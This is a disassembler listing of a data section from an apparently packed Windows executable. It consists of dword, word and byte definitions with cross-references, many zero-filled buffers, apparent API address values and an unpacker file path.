dword_4CB950 dd 77428B97h ; DATA XREF: sub_401ACD+5840r
; sub_401ACD+781Er ...
dword_4CB954 dd 71AB41DAh ; DATA XREF: sub_401221+8Cr
; sub_401ACD+5037r ...
dword_4CB958 dd 762059A3h ; DATA XREF: sub_409909+825w
; sub_409909+890r ...
dword_4CB95C dd 71C4A1B4h ; DATA XREF: sub_409909+9A4w
; sub_409909+A23r
dword_4CB960 dd 1F7CD214h ; DATA XREF: sub_409909+C0Ew
; sub_409909+C3Fr
dword_4CB964 dd 77E09134h ; DATA XREF: sub_409909+2CCw
; sub_418A2E+47r
dword_4CB968 dd 77D4456Bh ; DATA XREF: sub_409909+22Dw
; sub_4126A7+40r ...
dword_4CB96C dd 76D629BBh ; DATA XREF: sub_409909+91Aw
; sub_409909+92Er ...
dword_4CB970 dd 1F7B9D96h ; DATA XREF: sub_409909+C28w
dword_4CB974 dd 77E09070h ; DATA XREF: sub_409909+2D9w
; sub_418A2E+4Fr
dword_4CB978 dd 71AB1740h ; DATA XREF: sub_409909+574w
; sub_409909+6E8r ...
dword_4CB97C dd 7620AFB6h ; DATA XREF: sub_409909+83Fw
; sub_409909+873r
dword_4CB980 dd 77D5C13Ah ; DATA XREF: sub_409909+220w
; sub_409909+23Cr ...
dword_4CB984 dd 77D45B19h ; DATA XREF: sub_409909+172w
; sub_409909+1C2r
dword_4CB988 dd 71AB157Eh ; DATA XREF: sub_401ACD+1DCEr
; sub_401ACD+59F9r ...
dword_4CB98C dd 71AB3E5Dh ; DATA XREF: sub_4017ED+C4r
; sub_401ACD+50C1r ...
dword_4CB990 dd 71AB14DCh ; DATA XREF: sub_409909+567w
; sub_409909+6DCr ...
dword_4CB994 dd 0CC0004h ; DATA XREF: sub_409909+8DBw
; sub_409909:loc_40A202w ...
dword_4CB998 dd 77DD590Bh ; DATA XREF: sub_401000+26r
; sub_409909+28Bw ...
dword_4CB99C dd 71ABD755h ; DATA XREF: sub_401ACD+77AFr
; sub_409909+69Fw ...
dword_4CB9A0 dd 77DF7311h ; DATA XREF: sub_409909+32Dw
; sub_409909+341r ...
dword_4CB9A4 dd 77DDA2AFh ; DATA XREF: sub_409909+3B3w
; sub_409909+3EFr ...
dword_4CB9A8 dd 1F7CD927h ; DATA XREF: sub_409909+C01w
; sub_409909+C37r
dword_4CB9AC dd 76206853h ; DATA XREF: sub_409909+818w
; sub_409909+888r ...
dword_4CB9B0 dd 77D4932Ch ; DATA XREF: sub_409909+206w
; sub_409909+227r ...
dword_4CB9B4 dd 77D5E310h ; DATA XREF: sub_409909+18Cw
; sub_409909+1D2r ...
dword_4CB9B8 dd 76206B7Fh ; DATA XREF: sub_409909+832w
; sub_409909+898r ...
dword_4CB9BC dd 71AB1444h ; DATA XREF: sub_409909+624w
; sub_409909+774r ...
dword_4CB9C0 dd 77DD189Ah ; DATA XREF: sub_401000+5Ar
; sub_409909+2BFw ...
dword_4CB9C4 dd 71AB3F8Dh ; DATA XREF: sub_409909+66Bw
; sub_409909+79Cr ...
dword_4CB9C8 dd 77DD5D20h ; DATA XREF: sub_409909+320w
; sub_409909+334r ...
dword_4CB9CC dd 71AB1890h ; DATA XREF: sub_409909+644w
; sub_409909+784r ...
dword_4CB9D0 dd 77C76B34h ; DATA XREF: sub_409909+44Cw
; sub_409909+4AEr
dword_4CB9D4 dd 77D5E38Ch ; DATA XREF: sub_409909+199w
; sub_409909+1DAr ...
dword_4CB9D8 dd 77DDA20Bh ; DATA XREF: sub_409909+365w
; sub_409909+3BAr ...
dword_4CB9DC dd 76F36EEBh ; DATA XREF: sub_409909+AA2w
dword_4CB9E0 dd 71AB12A7h ; DATA XREF: sub_409909+5DCw
; sub_409909+748r ...
dword_4CB9E4 dd 71AB1746h ; DATA XREF: sub_4017ED+3Er
; sub_401ACD+5073r ...
dword_4CB9E8 dd 77EBA595h ; DATA XREF: sub_409909+4Bw
; sub_409909+C2r ...
dword_4CB9EC dd 77C7531Dh ; DATA XREF: sub_409909+473w
; sub_409909+4CBr
dword_4CB9F0 dd 77D4BDCAh ; DATA XREF: sub_409909+165w
; sub_409909+1BAr ...
dword_4CB9F4 dd 71C3516Ah ; DATA XREF: sub_409909+9FFw
; sub_409909+A5Br ...
dword_4CB9F8 dd 71AB32CAh ; DATA XREF: sub_409909+685w
; sub_409909+7ACr ...
dword_4CB9FC dd 71AB5690h ; DATA XREF: sub_401955+D1r
; sub_401ACD+50D6r ...
dword_4CBA00 dd 1F7CB8F8h ; DATA XREF: sub_409909+C1Bw
; sub_409909+C47r
dword_4CBA04 dd 77EBB1E7h ; DATA XREF: sub_409909+3Ew
; sub_409909+BAr ...
dword_4CBA08 dd 77DD59F0h ; DATA XREF: sub_401000+45r
; sub_409909+298w ...
dword_4CBA0C dd 71AB5DE2h ; DATA XREF: sub_409909+651w
; sub_409909+78Cr ...
dword_4CBA10 dd 71AB3ECEh ; DATA XREF: sub_409909+637w
; sub_409909+77Cr ...
dword_4CBA14 dd 73B81B0Fh ; DATA XREF: sub_409909+C92w
dword_4CBA18 dd 76204E4Dh ; DATA XREF: sub_409909+879w
; sub_4167A0+4DCr ...
dword_4CBA1C dd 0 ; DATA XREF: sub_409909+112w
dword_4CBA20 dd 1F7D886Ah ; DATA XREF: sub_409909+BE7w
; sub_409909+C22r
dword_4CBA24 dd 71AB12F8h ; DATA XREF: sub_401ACD+2F9Br
; sub_401ACD+5EB8r ...
dword_4CBA28 dd 77C76551h ; DATA XREF: sub_409909+459w
; sub_409909+4BBr
dword_4CBA2C dd 77C729E2h ; DATA XREF: sub_409909+49Aw
; sub_409909+4E3r
dword_4CBA30 dd 77C7212Fh ; DATA XREF: sub_409909+466w
; sub_409909+4C3r
dword_4CBA34 dd 71AB1AF4h ; DATA XREF: sub_401955+89r
; sub_401ACD+50F3r ...
dword_4CBA38 dd 77D5E303h ; DATA XREF: sub_409909+1A6w
; sub_409909+1E2r ...
dword_4CBA3C dd 71C4576Ch ; DATA XREF: sub_409909+9F2w
; sub_409909+A53r ...
dword_4CBA40 dd 77D4702Fh ; DATA XREF: sub_409909+158w
; sub_409909+1ADr ...
dword_4CBA44 dd 77E6C0E3h ; DATA XREF: sub_409909+8Cw
; sub_409909+E2r ...
dword_4CBA48 dd 71AB1ED3h ; DATA XREF: sub_409909+610w
; sub_409909+764r ...
dword_4CBA4C dd 71B2A381h ; DATA XREF: sub_409909+B43w
; sub_409909+B5Fr
dword_4CBA50 dd 77DDA595h ; DATA XREF: sub_409909+33Aw
; sub_419B9E+55r
dword_4CBA54 dd 77DD22EAh ; DATA XREF: sub_409909+27Ew
; sub_409909+2D3r ...
dword_4CBA58 dd 773F97B0h ; DATA XREF: sub_409909+BAAw
dword_4CBA5C dd 76D67A29h ; DATA XREF: sub_409909+AECw
; sub_40A928+CEr
dword_4CBA60 dd 76D674FAh ; DATA XREF: sub_409909+ADFw
; sub_409909+AE6r ...
dword_4CBA64 dd 71AB3C22h ; DATA XREF: sub_4017ED+A6r
; sub_401ACD+5052r ...
dword_4CBA68 dd 71AB2BBFh ; DATA XREF: sub_401ACD+5044r
; sub_401ACD+77D6r ...
dword_4CBA6C dd 1F7BA3A9h ; DATA XREF: sub_409909+BF4w
; sub_409909+C2Fr
dword_4CBA70 dd 71AB401Ch ; DATA XREF: sub_401ACD+1DF4r
; sub_401ACD+5A1Fr ...
dword_4CBA74 dd 71C214BAh ; DATA XREF: sub_409909+9B1w
; sub_409909+A2Br ...
dword_4CBA78 dd 71AB868Dh ; DATA XREF: sub_409909+65Ew
; sub_409909+794r ...
dword_4CBA7C dd 71AB1A6Dh ; DATA XREF: sub_40111D+12r
; sub_4017ED+D0r ...
dword_4CBA80 dd 71AB155Ah ; DATA XREF: sub_409909+59Bw
; sub_409909+70Cr ...
dword_4CBA84 dd 71B22C25h ; DATA XREF: sub_409909+B36w
; sub_409909+B57r ...
dword_4CBA88 dd 71AB5A01h ; DATA XREF: sub_409909+540w
; sub_409909+6C4r ...
dword_4CBA8C dd 71B2ACCBh ; DATA XREF: sub_409909+B29w
; sub_409909+B4Ar
dword_4CBA90 dd 77E78C17h ; DATA XREF: sub_401221+52r
; sub_409909+31w ...
dword_4CBA94 dd 77D49A11h ; DATA XREF: sub_409909+17Fw
; sub_409909+1CAr
dd 0
dword_4CBA9C dd 76D62A37h ; DATA XREF: sub_409909+927w
; sub_409909+93Br ...
dword_4CBAA0 dd 77E6CBF9h ; DATA XREF: sub_409909+99w
; sub_409909+EAr ...
dword_4CBAA4 dd 0 ; DATA XREF: sub_409909:loc_409A07w
; sub_409909+12Bw ...
dword_4CBAA8 dd 0 ; DATA XREF: sub_409909+126w
; sub_40A5C5+1Cr
dword_4CBAAC dd 0 ; DATA XREF: sub_409909:loc_409AF7w
; sub_409909:loc_409B5Ew ...
dword_4CBAB0 dd 0 ; DATA XREF: sub_409909+250w
; sub_40A5C5+50r
dword_4CBAB4 dd 0 ; DATA XREF: sub_401221+349r
; sub_401ACD+4468r ...
dword_4CBAB8 dd 0 ; DATA XREF: sub_409909+41Ew
; sub_40A5C5+84r
dword_4CBABC dd 0 ; DATA XREF: sub_409909:loc_409E0Dw
; sub_40A5C5:loc_40A675r
dword_4CBAC0 dd 0 ; DATA XREF: sub_409909+4FFw
; sub_40A5C5+B8r
dword_4CBAC4 dd 0 ; DATA XREF: sub_409909:loc_40A0DEw
; sub_40A5C5:loc_40A6A9r
dword_4CBAC8 dd 0 ; DATA XREF: sub_409909+7D0w
; sub_40A5C5+ECr
dword_4CBACC dd 0 ; DATA XREF: sub_409909:loc_40A1C9w
; sub_409909+8EFw ...
dword_4CBAD0 dd 0 ; DATA XREF: sub_409909+8EAw
; sub_40A5C5+120r
dword_4CBAD4 dd 0 ; DATA XREF: sub_401ACD:loc_406E35r
; sub_409909:loc_40A25Dw ...
dword_4CBAD8 dd 0 ; DATA XREF: sub_409909+94Fw
; sub_40A5C5+154r
dword_4CBADC dd 0 ; DATA XREF: sub_401ACD+4470r
; sub_409909:loc_40A379w ...
dword_4CBAE0 dd 0 ; DATA XREF: sub_409909+A6Bw
; sub_40A5C5+188r
dword_4CBAE4 dd 0 ; DATA XREF: sub_409909:loc_40A3C3w
; sub_40A5C5:loc_40A779r
dword_4CBAE8 dd 0 ; DATA XREF: sub_409909+AB5w
; sub_40A5C5+1BCr
dword_4CBAEC dd 0 ; DATA XREF: sub_409909:loc_40A40Dw
; sub_40A5C5:loc_40A7ADr
dword_4CBAF0 dd 0 ; DATA XREF: sub_409909+AFFw
; sub_40A5C5+1F0r
dword_4CBAF4 dd 0 ; DATA XREF: sub_409909:loc_40A481w
; sub_40A5C5:loc_40A7E1r
dword_4CBAF8 dd 0 ; DATA XREF: sub_409909+B73w
; sub_40A5C5+224r
dword_4CBAFC dd 0 ; DATA XREF: sub_409909:loc_40A4CBw
; sub_40A5C5:loc_40A815r
dword_4CBB00 dd 0 ; DATA XREF: sub_409909+BBDw
; sub_40A5C5+258r
dword_4CBB04 dd 0 ; DATA XREF: sub_409909:loc_40A569w
; sub_40A5C5:loc_40A849r
dword_4CBB08 dd 0 ; DATA XREF: sub_409909+C5Bw
; sub_40A5C5+28Cr
dword_4CBB0C dd 0 ; DATA XREF: sub_409909:loc_40A5B3w
; sub_40A5C5:loc_40A87Dr
dword_4CBB10 dd 0 ; DATA XREF: sub_409909+CA5w
; sub_40A5C5+2C0r
dword_4CBB14 dd 5 dup(0) ; DATA XREF: sub_40AA06+32o
byte_4CBB28 db 0 ; DATA XREF: sub_40B2B3+6Ar
; sub_40B2B3+98w
align 10h
dword_4CBB30 dd 0 ; DATA XREF: sub_40BD1A+18r
; sub_40C2AF+92w ...
dword_4CBB34 dd 0 ; DATA XREF: sub_40C3E8+4Dr
; sub_40C600+D9w ...
dd 7FEh dup(0)
dword_4CDB30 dd 6 dup(0) ; DATA XREF: sub_40C3E8+D2o
; sub_40C3E8+13Bo ...
dword_4CDB48 dd 0 ; DATA XREF: sub_40BD91+2C4w
; sub_40BD91+348o
dword_4CDB4C dd 0 ; DATA XREF: sub_40BD91+33Ew
; sub_40BD91+35Ar
dword_4CDB50 dd 0 ; DATA XREF: sub_40BD91+2CFw
dword_4CDB54 dd 0 ; DATA XREF: sub_40BD91+2B9w
; sub_40BD91:loc_40C0A6r
dword_4CDB58 dd 20h dup(0) ; DATA XREF: sub_40BD91+2E2o
; sub_40BD91+302o
dword_4CDBD8 dd 0 ; DATA XREF: sub_40BD91+2D5w
dword_4CDBDC dd 0 ; DATA XREF: sub_40BD91+2EFw
; sub_40BD91+30Fw
dword_4CDBE0 dd 0 ; DATA XREF: sub_40BD91:loc_40C101r
align 8
dword_4CDBE8 dd 0 ; DATA XREF: sub_40BD91+82w
; sub_40BD91+101o
dword_4CDBEC dd 41h dup(0) ; DATA XREF: sub_40BD91+41o
dword_4CDCF0 dd 41h dup(0) ; DATA XREF: sub_40BD91+69o
dword_4CDDF4 dd 0 ; DATA XREF: sub_40BD91+F7w
; sub_40BD91+113r
dword_4CDDF8 dd 0 ; DATA XREF: sub_40BD91+52w
dword_4CDDFC dd 0 ; DATA XREF: sub_40BD91+4Dw
; sub_40BD91+D4r
dword_4CDE00 dd 20h dup(0) ; DATA XREF: sub_40BD91+9Ao
; sub_40BD91+BAo
dword_4CDE80 dd 0 ; DATA XREF: sub_40BD91+8Fw
dword_4CDE84 dd 0 ; DATA XREF: sub_40BD91+A7w
; sub_40BD91+C7w
dword_4CDE88 dd 0 ; DATA XREF: sub_40BD91:loc_40BEBAr
align 10h
dword_4CDE90 dd 0 ; DATA XREF: sub_40BD91+1A5w
; sub_40BD91+225o
dword_4CDE94 dd 41h dup(0) ; DATA XREF: sub_40BD91+167o
dword_4CDF98 dd 41h dup(0) ; DATA XREF: sub_40BD91+18Co
dword_4CE09C dd 0 ; DATA XREF: sub_40BD91+21Bw
; sub_40BD91+237r
dword_4CE0A0 dd 0 ; DATA XREF: sub_40BD91+17Aw
dword_4CE0A4 dd 0 ; DATA XREF: sub_40BD91+175w
; sub_40BD91+1F8r
dword_4CE0A8 dd 20h dup(0) ; DATA XREF: sub_40BD91+1BEo
; sub_40BD91+1DEo
dword_4CE128 dd 0 ; DATA XREF: sub_40BD91+1B1w
dword_4CE12C dd 0 ; DATA XREF: sub_40BD91+1CBw
; sub_40BD91+1EBw
dword_4CE130 dd 0 ; DATA XREF: sub_40BD91:loc_40BFDEr
align 8
dword_4CE138 dd 0 ; DATA XREF: sub_40BD91+417w
; sub_40BD91+470o
dword_4CE13C dd 0A2h dup(0) ; DATA XREF: sub_40BD91+405o
dword_4CE3C4 dd 41h dup(0) ; DATA XREF: sub_40BD91+3CFo
dword_4CE4C8 dd 0 ; DATA XREF: sub_40BD91+3FCw
; sub_40BD91+423r
align 10h
dword_4CE4D0 dd 0 ; DATA XREF: sub_40BD91+466w
; sub_40BD91+482r
dword_4CE4D4 dd 0 ; DATA XREF: sub_40BD91+429w
dword_4CE4D8 dd 0 ; DATA XREF: sub_40BD91+436w
dword_4CE4DC dd 0 ; DATA XREF: sub_40BD91+3F6w
dd 0
dword_4CE4E4 dd 0 ; DATA XREF: sub_40BD91:loc_40C229r
dd 0
dword_4CE4EC dd 0 ; DATA XREF: sub_40B9DD+Er
; sub_40B9DD+32r ...
dword_4CE4F0 dd 0 ; DATA XREF: sub_40B9DD+9r
; sub_40B9DD+26r ...
dword_4CE4F4 dd 82h dup(0) ; DATA XREF: sub_40C85F+8Do
dword_4CE6FC dd 2 dup(0) ; DATA XREF: sub_40D1C8+68o
dword_4CE704 dd 0 ; DATA XREF: sub_40DB5E+9Eo
dword_4CE708 dd 0 ; DATA XREF: sub_40EED1+1Fr
; sub_40EF1C+BCo ...
dword_4CE70C dd 0 ; DATA XREF: sub_40EF1C+B7o
; sub_40EF1C+DAr ...
dword_4CE710 dd 0 ; DATA XREF: sub_40EF1C+9Ao
; sub_40EF1C+CFr ...
dword_4CE714 dd 0 ; DATA XREF: sub_40EE8E+35r
; sub_40EF1C+95o ...
dword_4CE718 dd 0 ; DATA XREF: sub_40EE8E+17r
; sub_40EED1+3Dr ...
align 10h
dword_4CE720 dd 0BC26h ; DATA XREF: sub_40BD91+2AEr
; sub_40F0F1+10w ...
align 8
dword_4CE728 dd 0 ; DATA XREF: sub_40BA49+1Cr
; sub_40F108+27Cw
dword_4CE72C dd 0 ; DATA XREF: sub_40F9BF+2Aw
; sub_40F9BF+51r ...
dd 3 dup(0)
dword_4CE73C dd 0 ; DATA XREF: sub_4111C0+146r
dd 0
dword_4CE744 dd 0 ; DATA XREF: sub_412EDD+4w
; sub_412EDD+9o
align 10h
byte_4CE750 db 0 ; DATA XREF: sub_413A29+1D3w
; sub_413A29+2D2o
align 2
word_4CE752 dw 0 ; DATA XREF: sub_413A29+1E3w
word_4CE754 dw 0 ; DATA XREF: sub_413A29+1E9w
word_4CE756 dw 0 ; DATA XREF: sub_413A29+1F0w
byte_4CE758 db 0 ; DATA XREF: sub_413A29+1F7w
byte_4CE759 db 0 ; DATA XREF: sub_413A29+1FEw
word_4CE75A dw 0 ; DATA XREF: sub_413A29+204w
dword_4CE75C dd 0 ; DATA XREF: sub_413A29+234w
; sub_413A29+250w
dword_4CE760 dd 0 ; DATA XREF: sub_413A29+258w
byte_4CE764 db 0 ; DATA XREF: sub_413A29+26Aw
byte_4CE765 db 0 ; DATA XREF: sub_413A29+27Dw
word_4CE766 dw 0 ; DATA XREF: sub_413A29+295w
word_4CE768 dw 0 ; DATA XREF: sub_413A29+2A4w
word_4CE76A dw 0 ; DATA XREF: sub_413A29+29Cw
dword_4CE76C dd 101h dup(0) ; DATA XREF: sub_413A29+2B9o
dword_4CEB70 dd 80h dup(0) ; DATA XREF: sub_401ACD+2F25o
; sub_401ACD:loc_404A7Bo ...
byte_4CED70 db 0 ; DATA XREF: sub_4152D1+1A1w
; sub_4152D1+27Ao
align 2
word_4CED72 dw 0 ; DATA XREF: sub_4152D1+1AEw
word_4CED74 dw 0 ; DATA XREF: sub_4152D1+1B8w
word_4CED76 dw 0 ; DATA XREF: sub_4152D1+1C1w
byte_4CED78 db 0 ; DATA XREF: sub_4152D1+1C8w
byte_4CED79 db 0 ; DATA XREF: sub_4152D1+1CFw
word_4CED7A dw 0 ; DATA XREF: sub_4152D1+1D6w
dword_4CED7C dd 0 ; DATA XREF: sub_4152D1+1E3w
dword_4CED80 dd 0 ; DATA XREF: sub_4152D1+1EBw
word_4CED84 dw 0 ; DATA XREF: sub_4152D1+244w
word_4CED86 dw 0 ; DATA XREF: sub_4152D1+22Cw
word_4CED88 dw 0 ; DATA XREF: sub_4152D1+256w
word_4CED8A dw 0 ; DATA XREF: sub_4152D1+1F7w
dword_4CED8C dd 101h dup(0) ; DATA XREF: sub_4152D1+265o
dword_4CF190 dd 0 ; DATA XREF: sub_401ACD+19C3w
; sub_401ACD+2F1Dr ...
align 10h
byte_4CF1A0 db 0 ; DATA XREF: sub_4157BA+241o
; sub_4157BA+250w ...
byte_4CF1A1 db 0 ; DATA XREF: sub_4157BA+264w
word_4CF1A2 dw 0 ; DATA XREF: sub_4157BA+295w
word_4CF1A4 dw 0 ; DATA XREF: sub_4157BA+27Cw
; sub_4157BA:loc_415B8Cw
word_4CF1A6 dw 0 ; DATA XREF: sub_4157BA+29Bw
byte_4CF1A8 db 0 ; DATA XREF: sub_4157BA+288w
byte_4CF1A9 db 0 ; DATA XREF: sub_4157BA+25Dw
word_4CF1AA dw 0 ; DATA XREF: sub_4157BA+3F2w
; sub_4157BA+41Cw
dword_4CF1AC dd 0 ; DATA XREF: sub_4157BA:loc_415A83w
; sub_4157BA+39Ar
dword_4CF1B0 dd 0 ; DATA XREF: sub_4157BA+2D6w
word_4CF1B4 dw 0 ; DATA XREF: sub_4157BA+394w
; sub_4157BA+3E8o
word_4CF1B6 dw 0 ; DATA XREF: sub_4157BA+335w
; sub_4157BA+35Ar ...
dword_4CF1B8 dd 0 ; DATA XREF: sub_4157BA+30Cw
; sub_4157BA+3D9w
dword_4CF1BC dd 0 ; DATA XREF: sub_4157BA+328w
; sub_4157BA+3ABw ...
byte_4CF1C0 db 0 ; DATA XREF: sub_4157BA+311r
; sub_4157BA+31Fw
byte_4CF1C1 db 0 ; DATA XREF: sub_4157BA+2DBw
; sub_4157BA+3A4w ...
word_4CF1C2 dw 0 ; DATA XREF: sub_4157BA+2E9w
word_4CF1C4 dw 0 ; DATA XREF: sub_4157BA+3F9w
; sub_4157BA+42Aw
word_4CF1C6 dw 0 ; DATA XREF: sub_4157BA+32Ew
word_4CF1C8 dw 0 ; DATA XREF: sub_4157BA+360w
; sub_4157BA+432o
word_4CF1CA dw 0 ; DATA XREF: sub_4157BA+36Fw
; sub_4157BA+409w
dword_4CF1CC dd 0 ; DATA XREF: sub_4157BA+369w
dd 2 dup(0)
dword_4CF1D8 dd 0 ; DATA XREF: sub_4157BA+39Fw
; sub_4157BA+417o
dword_4CF1DC dd 0 ; DATA XREF: sub_4157BA+33Bw
byte_4CF1E0 db 0 ; DATA XREF: sub_4157BA+341w
byte_4CF1E1 db 0 ; DATA XREF: sub_4157BA+347w
word_4CF1E2 dw 0 ; DATA XREF: sub_4157BA+354w
dword_4CF1E4 dd 7 dup(0) ; DATA XREF: sub_4157BA+3EDo
dword_4CF200 dd 0 ; DATA XREF: sub_4157BA+30w
; sub_4157BA+43Br
dword_4CF204 dd 100h dup(0) ; DATA XREF: sub_4157BA+1C3o
; sub_4157BA+47Eo
dword_4CF604 dd 1000h dup(0) ; DATA XREF: sub_415D38+1Do
; sub_415DD8o ...
dword_4D3604 dd 0 ; DATA XREF: sub_415D38+13o
; sub_415DD8+Eo ...
dword_4D3608 dd 0Eh dup(0) ; DATA XREF: sub_416CC9+Fo
dword_4D3640 dd 80h dup(0) ; DATA XREF: sub_417990+41o
dword_4D3840 dd 200h dup(0) ; DATA XREF: sub_4172C1+C7o
; sub_41761C+DDo ...
dword_4D4040 dd 44h dup(0) ; DATA XREF: sub_4172C1+D6o
; sub_41761C+F4o ...
db 2 dup(0)
word_4D4152 dw 0 ; DATA XREF: .packed:off_4383B0o
dd 1BBh dup(0)
dword_4D4840 dd 0 ; DATA XREF: sub_4172C1+86w
; sub_417493+94r
dword_4D4844 dd 0 ; DATA XREF: sub_4172C1+A7w
; sub_4178F9+55r ...
dword_4D4848 dd 0 ; DATA XREF: sub_4172C1+A0w
; sub_417493+D6r ...
dword_4D484C dd 0 ; DATA XREF: sub_4172C1+79w
; sub_417493+35r ...
dword_4D4850 dd 80h dup(0) ; DATA XREF: sub_4178F9+5Eo
dword_4D4A50 dd 0 ; DATA XREF: sub_4172C1+93w
; sub_417493+A2r
align 8
dword_4D4A58 dd 0 ; DATA XREF: sub_4172C1+E7o
; sub_4172C1+103r ...
dword_4D4A5C dd 0 ; DATA XREF: sub_41761C+17Bw
; sub_4177C3+107w
dword_4D4A60 dd 0 ; DATA XREF: sub_41761C+180w
; sub_4177C3+10Dw ...
dword_4D4A64 dd 0 ; DATA XREF: sub_41761C+159w
; sub_4178F9+4Fr
dword_4D4A68 dd 0 ; DATA XREF: sub_417C61+22w
; sub_417C61:loc_417DE6w ...
dword_4D4A6C dd 0 ; DATA XREF: sub_401ACD+3C95o
; sub_417B2F+12o ...
dd 0
dword_4D4A74 dd 0 ; DATA XREF: sub_417C61+1Cr
; sub_417E06+3Ar
dd 7Fh dup(0)
dword_4D4C74 dd 0 ; DATA XREF: sub_417C61+28r
; sub_417E06+4Aw
dd 1944h dup(0)
dword_4DB188 dd 0 ; DATA XREF: sub_417E06+23o
dword_4DB18C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CB9o
; sub_417B2F+3Co ...
dword_4DB390 dd 17h dup(0) ; DATA XREF: sub_418D2A:loc_418E47o
; sub_418D2A+131o ...
dword_4DB3EC dd 80h dup(0) ; DATA XREF: sub_419AE0+7Co
; sub_419AE0+A5o
dword_4DB5EC dd 0 ; DATA XREF: sub_4190A5+45w
; sub_4190A5+4Dr ...
dword_4DB5F0 dd 17h dup(0) ; DATA XREF: sub_4199AC:loc_419ACEo
; sub_4199AC+12Do
dword_4DB64C dd 80h dup(0) ; DATA XREF: sub_418FE5+4Co
; sub_418FE5+7Eo ...
byte_4DB84C db 0 ; DATA XREF: sub_4190A5+29r
; sub_4190A5+34w
align 10h
dword_4DB850 dd 80h dup(0) ; DATA XREF: sub_4192FC+61o
; sub_4192FC+89o ...
dword_4DBA50 dd 81h dup(0) ; DATA XREF: sub_418C0E:loc_418C46o
; sub_418C0E+5Bo
dword_4DBC54 dd 0 ; DATA XREF: sub_419F6D:loc_419F8Er
; sub_41A05C+54r ...
dword_4DBC58 dd 0 ; DATA XREF: sub_419F6Dr
; sub_41A05C+37r ...
dword_4DBC5C dd 0 ; DATA XREF: sub_419F9D+1Ar
; sub_41A1B1+83o
dword_4DBC60 dd 0 ; DATA XREF: sub_419F6D:loc_419F81r
; sub_41A1B1+11Bw
dword_4DBC64 dd 0Dh dup(0) ; DATA XREF: sub_41A05C+13o
; sub_41A1B1:loc_41A2EEo
dword_4DBC98 dd 0 ; DATA XREF: sub_41A05C+CDr
; sub_41A05C+ECr ...
align 10h
dword_4DBCA0 dd 0Fh dup(0) ; DATA XREF: sub_41ADD8+47o
byte_4DBCDC db 0 ; DATA XREF: sub_41B52C+6o
; .packed:0041B881o ...
align 10h
dd 3Fh dup(0)
dword_4DBDDC dd 2 dup(0) ; DATA XREF: sub_41B55B+18o
dword_4DBDE4 dd 2 dup(0) ; DATA XREF: sub_41B55B+8o
; .packed:0041B6CAo
dword_4DBDEC dd 0 ; DATA XREF: sub_41C59D+1B9w
; sub_41DA8B:loc_41DB07w ...
dword_4DBDF0 dd 0 ; DATA XREF: sub_41DC5E+35w
; sub_41E312:loc_41E3ACw ...
dword_4DBDF4 dd 0 ; DATA XREF: sub_42423B+13Ar
dword_4DBDF8 dd 0A28h ; DATA XREF: sub_41E1D3+52w
dword_4DBDFC dd 501h ; DATA XREF: sub_41E1D3+49w
dword_4DBE00 dd 5 ; DATA XREF: sub_41E1D3+3Ew
dword_4DBE04 dd 1 ; DATA XREF: sub_41E1D3+30w
dword_4DBE08 dd 1 ; DATA XREF: sub_401221:loc_401516r
; sub_42378C+91w
dword_4DBE0C dd 350B20h ; DATA XREF: sub_401221+2FEr
; sub_401221+31Er ...
dd 0
dword_4DBE14 dd 350B48h ; DATA XREF: sub_4236D3+44w
dd 3 dup(0)
off_4DBE24 dd offset aCM_unpackerPac ; DATA XREF: sub_42378C+2Ew
; "C:\\m_unpacker\\packed.exe"
dd 0
byte_4DBE2C db 0 ; DATA XREF: sub_41C1B3+2Dw
; sub_4241E3+5r
align 10h
dword_4DBE30 dd 0 ; DATA XREF: sub_41C1B3+27w
dword_4DBE34 dd 0 ; DATA XREF: sub_41C1B3+4r
; sub_41C1B3+8Bw
dword_4DBE38 dd 0 ; DATA XREF: sub_41CAD4+3Br
; sub_41CAD4+91w
align 10h
dword_4DBE40 dd 0 ; DATA XREF: sub_41D124+Aw
dword_4DBE44 dd 0 ; DATA XREF: sub_41E1D3+84w
; sub_4236D3:loc_4236E5r ...
dd 0
dword_4DBE4C dd 0 ; DATA XREF: sub_41E2C9r sub_41E2EEr ...
dword_4DBE50 dd 0 ; DATA XREF: sub_41F3B0+4Bw
; sub_41F4C9+2Dw ...
dword_4DBE54 dd 0 ; DATA XREF: sub_41FBB2r
dword_4DBE58 dd 0 ; DATA XREF: sub_41BBE2:loc_41BCFEr
; sub_41BBE2:loc_41BE1Fr ...
dword_4DBE5C dd 1 ; DATA XREF: sub_420749:loc_4208C4r
; sub_4208E2+4w ...
dword_4DBE60 dd 0 ; DATA XREF: sub_420CE6+37r
align 8
dword_4DBE68 dd 0 ; DATA XREF: sub_422279+11r
; sub_42237D+1Ar ...
byte_4DBE6C db 0 ; DATA XREF: sub_422279+3r
; sub_422279+98r ...
align 10h
dword_4DBE70 dd 0 ; DATA XREF: sub_42237D+11r
; sub_42245B+21w ...
byte_4DBE74 db 0 ; DATA XREF: sub_42245B+51w
align 4
dword_4DBE78 dd 0 ; DATA XREF: sub_422651+4Er
; sub_422A2C+3Ar ...
dword_4DBE7C dd 0 ; DATA XREF: sub_422651+5Cr
; sub_422A2C+43r ...
dword_4DBE80 dd 0 ; DATA XREF: sub_41D3AA+7Ar
; sub_4227F8+5r
dword_4DBE84 dd 0 ; DATA XREF: sub_422DFC+29r
dword_4DBE88 dd 1 ; DATA XREF: sub_4232A8+28r
; sub_4232A8+4Cw ...
dd 2 dup(0)
dword_4DBE94 dd 0 ; DATA XREF: sub_41DE4A+4r
; sub_41DE4A+6Er ...
dd 3 dup(0)
dword_4DBEA4 dd 0 ; DATA XREF: sub_41E0D4+61r
; sub_41E0D4+BFr ...
dd 0
dword_4DBEAC dd 0 ; DATA XREF: sub_4234F7+3Ar
; sub_4234F7+46w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_42378C:loc_4237A3o
; .packed:off_4DBE24o
align 4
dd 3Ah dup(0)
dword_4DBFB4 dd 1 ; DATA XREF: sub_4239D9+2r
; sub_4239D9+23w ...
dword_4DBFB8 dd 0 ; DATA XREF: sub_423D98+21r
dword_4DBFBC dd 0 ; DATA XREF: sub_41FBCD+154w
; sub_420CE6:loc_420D0Fw ...
dword_4DBFC0 dd 0 ; DATA XREF: sub_41FBCD+7r
dword_4DBFC4 dd 1 ; DATA XREF: sub_4244F4+26r
; sub_4244F4:loc_42455Ew
word_4DBFC8 dw 0 ; DATA XREF: sub_424DF9+1Ao
; sub_424DF9+46r
byte_4DBFCA db 0 ; DATA XREF: sub_424DF9+39r
align 4
dword_4DBFCC dd 7 dup(0) ; DATA XREF: sub_424DF9+52o
